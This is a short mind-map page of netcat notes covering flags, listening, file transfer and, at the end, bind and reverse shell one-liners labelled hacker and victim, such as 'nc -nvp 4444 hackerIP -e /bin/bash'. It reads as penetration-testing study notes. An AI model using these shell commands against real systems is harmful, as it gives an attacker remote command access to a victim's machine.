Please enable JavaScript.
Coggle requires JavaScript to display documents.
Netcat - Coggle Diagram
Netcat
-n for no DNS resolution
-v for verbose -vv for more verbose
-l for listen mode (listen for port)
-p for port number
examples
nc -nvlp 4444
for listen for specific port and wait for connection
send file throw nc
First run this (nc -nvp 3333 10.10.10.20 < "the path of the file")
at the second machine run this ( nc -nvlp 3333 > incoming file with it extention )
nc -nv 10.10.10.20 -p 223
for connect to ip with specific port
-e "filename" for specify filename to exec after connect mean to make aplication available one the other side
band shell
From the victom to hacker
hacker
nc -nv 4444 victomIp
victom
nc -nlvp 4444 -e cmd.exe
reverse shell
from hacker to victom
hacker
nc -nlvp 4444
victom
nc -nvp 4444 hackerIP -e /bin/bash